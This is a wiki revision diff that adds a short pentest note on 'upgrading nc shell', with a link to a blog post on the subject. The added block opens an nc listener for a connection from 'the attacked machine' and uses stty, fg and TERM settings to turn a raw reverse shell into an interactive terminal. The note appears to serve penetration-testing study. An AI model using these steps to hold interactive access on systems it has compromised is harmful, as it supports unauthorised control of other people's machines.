Changes

Jump to navigation Jump to search
296 bytes added ,  07:47, 23 January 2020
m
no edit summary
Line 2: Line 2:     
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
 
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
 +
 +
== Upgrading nc shell ==
 +
<br /><syntaxhighlight lang="bash">
 +
$ stty -a  # to get rows and columns from your machine
 +
$ nc -lvp 444  # connect from the attacked machine
 +
$ stty raw -echo
 +
$ fg 1
 +
$ reset
 +
$ export SHELL=bash
 +
$ export TERM=xterm256-color
 +
$ stty rows 38 columns 116
 +
 +
</syntaxhighlight>

Navigation menu